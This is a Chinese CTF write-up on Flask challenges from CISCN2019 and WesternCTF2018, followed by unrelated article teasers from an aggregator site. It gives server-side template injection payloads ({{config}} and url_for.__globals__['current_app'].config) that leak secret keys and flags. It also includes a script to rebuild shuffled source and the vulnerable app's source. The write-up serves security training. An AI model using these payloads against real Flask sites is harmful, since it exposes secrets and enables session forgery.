Flask 专题

[CISCN2019 总决赛 Day1 Web3]Flask Message Board

查看session解密
在这里插入图片描述

但不知道密钥,题目说FLASK,那肯定就是找密钥,发现输入什么都没有显示,只有author那里有回显在版上,所以尝试sstl,{{config}}找到密钥

在这里插入图片描述
扫目录发现有admin进入admin界面,发现有源码提示,有模型下载还有源码,但发现源码是乱的,但因为有规律,可以用脚本复原,进行拼接。
抄的
位置复原

import requests
url = 'http://xxx.cn/admin/source_thanos'
r = requests.get(url)
source = r.text
for j in range(10):r = requests.get(url)for i in range(len(source)):if source[i].isspace():source = source[:i] + r.text[i] + source[i+1:]
print(source)

源码

# coding=utf8
from flask import Flask, flash, send_file
import random
from datetime import datetime
import zipfile# init app
app = Flask(__name__)
app.secret_key = ''.join(random.choice("il1I|") for i in range(40))
print(app.secret_key)from flask import Response
from flask import request, session
from flask import redirect, url_for, safe_join, abort
from flask import render_template_stringfrom data import datapost_storage = data
site_title = "A Flask Message Board"
site_description = "Just leave what you want to say."# %% tf/load.py
import tensorflow as tf
from tensorflow.python import pywrap_tensorflowdef init(model_path):'''This model is given by a famous hacker !'''new_sess = tf.Session()meta_file = model_path + ".meta"model = model_pathsaver = tf.train.import_meta_graph(meta_file)saver.restore(new_sess, model)return new_sessdef renew(sess, model_path):sess.close()return init(model_path)def predict(sess, x):''':param x: input number xsess: tensorflow session:return: b'You are: *''''y = sess.graph.get_tensor_by_name("y:0")y_out = sess.run(y, {"x:0": x})return y_outtf_path = "tf/detection_model/detection"
sess = init(tf_path)# %% tf enddef check_bot(input_str):r = predict(sess, sum(map(ord, input_str)))return r if isinstance(r, str) else r.decode()def render_template(filename, **args):with open(safe_join(app.template_folder, filename), encoding='utf8') as f:template = f.read()name = session.get('name', 'anonymous')[:10]  # Someone call me to add a remembered_name function# But I'm just familiar with PHP !!!# return render_template_string(#     template.replace('$remembered_name', name)#         .replace('$site_description', site_description)#         .replace('$site_title', site_title), **args)return render_template_string(template.replace('$remembered_name', name), site_description=site_description, site_title=site_title, **args)@app.route('/')
def index():global post_storagesession['admin'] = session.get('admin', False)if len(post_storage) > 20:post_storage = post_storage[-20:]return render_template('index.html', posts=post_storage)@app.route('/post', methods=['POST'])
def add_post():title = request.form.get('title', '[no title]')content = request.form.get('content', '[no content]')name = request.form.get('author', 'anonymous')[:10]try:check_result = check_bot(content)if not check_result.endswith('Human'):flash("reject because %s or hacker" % (check_result))return redirect('/')post_storage.append({'title': title, 'content': content, 'author': name, 'date': datetime.now().strftime("%B %d, %Y %X")})session['name'] = nameexcept Exception as e:flash('Something wrong, contact admin.')  return redirect('/')@app.route('/admin/model_download')
def model_download():'''Download current model.'''if session.get('admin', True):try:with zipfile.ZipFile("temp.zip", 'w') as z:for e in ['detection.meta', 'detection.index', 'detection.data-00000-of-00001']:z.write('tf/detection_model/'+ e, arcname=e)return send_file("temp.zip", as_attachment=True, attachment_filename='model.zip')except Exception as e:flash(str(e))return redirect('/admin')else:return "Not a admin **session**. <a href='/'>Back</a>"@app.route('/admin', methods=['GET', 'POST'])
def admin():global site_description, site_title, sessif session.get('admin', False):print('admin session.')if request.method == 'POST':if request.form.get('site_description'):site_description = request.form.get('site_description')if request.form.get('site_title'):site_title = request.form.get('site_title')if request.files.get('modelFile'):file = request.files.get('modelFile')# print(file, type(file))try:z = zipfile.ZipFile(file=file)for e in ['detection.meta', 'detection.index', 'detection.data-00000-of-00001']:open('tf/detection_model/' + e, 'wb').write(z.read(e))sess = renew(sess, tf_path)flash("Reloaded successfully")except Exception as e:flash(str(e))return render_template('admin.html')else:return "Not a admin **session**. <a href='/'>Back</a>"@app.route('/admin/source') # <--here ♂ boy next door
def get_source():return open('app.py', encoding='utf8').read()@app.route('/admin/source_thanos')
def get_source_broken():'''Thanos is eventually resurrected,[21] and collects the Infinity Gems once again.[22]He uses the gems to create the Infinity Gauntlet, making himself omnipotent,and erases half the living things in the universe to prove his love to Death.'''t = open('app.py', encoding='utf8').read()tt = [t[i] for i in range(len(t))]ll = list(range(len(t)))random.shuffle(ll)for i in ll[:len(t) // 2]:if tt[i] != '\n': tt[i] = ' 'return "".join(tt)

TensorFlow模型分析(不懂,插个🚩,以后有再看)

[WesternCTF2018]shrine

发现源码,可以在路径上进行sstl,但这题貌似没发执行shell,因为禁了(),但这里把flag放在了config,config还是可以看的

#这里有两个函数包含了`current_app`全局变量,`url_for`和`get_flashed_messages`
{url_for.__globals__}
{{url_for.__globals__['current_app'].config}}{{get_flashed_messages.__globals__['current_app'].config}}

可以看到flag

本来还有两题,但不是太难了就是环境不支持。。。就先这样,以后的题目我都会以专题的形式写出

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/538265.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【UE5】非持枪站姿移动混合空间

项目资源文末百度网盘自取 创建角色在非持枪状态且站立移动的动画混合空间 在Character文件夹中创建文件夹&#xff0c;命名为BlendSpace 所有混合空间文件都放到这个文件夹中 在BlendSpace文件夹中单击右键&#xff0c;选择动画(Animation)中的混合空间(BlendSpace) 选择SK…

vue3中的文字滚动播报

vue3中的文字滚动播报 之前UI框架一直使用的elementPlus&#xff0c;有个需求&#xff0c;需要在页面上写个滚动播放新闻的功能&#xff0c;发现UI框架居然没有这个组件。花了一下午&#xff0c;在ChatGPT的帮助下&#xff0c;总算写成功了&#xff0c;先看最终展示效果 web页…

C++ 有哪些流行的开发框架或库?

这是我在知乎上回答的一个问题&#xff0c;不到两周收藏数超过 500&#xff0c;点赞还不到 100&#xff0c;看来 C 程序员还是不少&#xff0c;且大家都想进步。 不过从“收藏”就是“学过”的这种风气来看&#xff0c;大概率只是扫一眼&#xff0c;然后放到收藏里吃灰了。 下面…

Cesium 水质质量萤火图

参考: https://www.jianshu.com/p/9e1e1e4c69f3 // 点击拾取功能:const dom new DOM(document.querySelector("#UIContainer"));const handler new Cesium.ScreenSpaceEventHandler(viewer.scene.canvas);handler.setInputAction(movement > {var pick viewer.…

C++:继承与派生

为什么会有继承这样的语法呢&#xff1f;&#xff1f;试想这样一个场景&#xff1a;假设我们这个App需要去获取不同类型用户的数据&#xff0c;并进行分类&#xff0c;那么就需要我们去写对应不同的类&#xff0c;比如说学生、老师、军人、公司职工…………每个类都需要有名字、…

骨传导耳机品牌推荐,超全选购指南附精品推荐

近些年来&#xff0c;骨传导耳机以独特的听音方式受到广泛关注。顾名思义&#xff0c;这类耳机利用骨传导原理&#xff0c;通过振动直接将声音传递至颅骨&#xff0c;让用户在聆听音乐的同时&#xff0c;也能清晰地感知周围环境的声响。面对众多品牌&#xff0c;消费者往往难以…

点云配准论文阅读1-Research on Three-Dimensional Point Cloud Registration Algorithm

Research on Three-Dimensional Point Cloud Registration Algorithm三维点云配准算法研究 Publisher: IEEE发行者 &#xff1a; IEEE Cite This引用此内容 PDF Yuqing Zhang; Shilong Sun; Jingjing Shang; Minghan Yang张玉清;孙世龙; 尚晶晶;杨明翰 Abstract: Accordi…

CentOS本地部署Tale博客并结合内网穿透实现公网访问本地网站

文章目录 前言1. Tale网站搭建1.1 检查本地环境1.2 部署Tale个人博客系统1.3 启动Tale服务1.4 访问博客地址 2. Linux安装Cpolar内网穿透3. 创建Tale博客公网地址4. 使用公网地址访问Tale 前言 今天给大家带来一款基于 Java 语言的轻量级博客开源项目——Tale&#xff0c;Tale…

2.操作系统知识

基础知识部分—Chap2 考点&#xff1a; 进程管理中的pv操作、死锁、银行家算法&#xff08;理解&#xff09;&#xff1b; 文件管理中的路径&#xff08;绝对路径和相对路径&#xff09;&#xff1b; 存储管理&#xff1a;了解存储管理体制的优缺点、管理结构&#xff1b; 1…

sqllab第十二关通关笔记

知识点&#xff1a; 一般字符型注入分类 单引号闭合双引号闭合这是一个双引号闭合 看界面又是一个输入框的注入;通过admin admin进行登录发现页面还是有回显 直接使用万能密码尝试 构造payload:usernameadminor11 没有任何反应&#xff1b;可能是没加注释符的关闭 构造user…

微信小程序之vue按钮切换内容变化

效果图如下&#xff1b; 上代码 <template><view class"content"><view class"searchDiv"><view class"paytab"><view class"buttab" v-for"(t,index) in tabList" :key"index" clic…

2024年1月粮油调味行业分析(TOP品牌/店铺/商品销售数据分析)

鲸参谋监测的某东1月份粮油调味市场销售数据已出炉&#xff01; 根据鲸参谋电商数据分析平台显示&#xff0c;今年1月份&#xff0c;某东平台上粮油调味品的销量约6200万件&#xff0c;环比上个月增长45%&#xff0c;同比去年下滑15%&#xff1b;销售额约25亿元&#xff0c;环…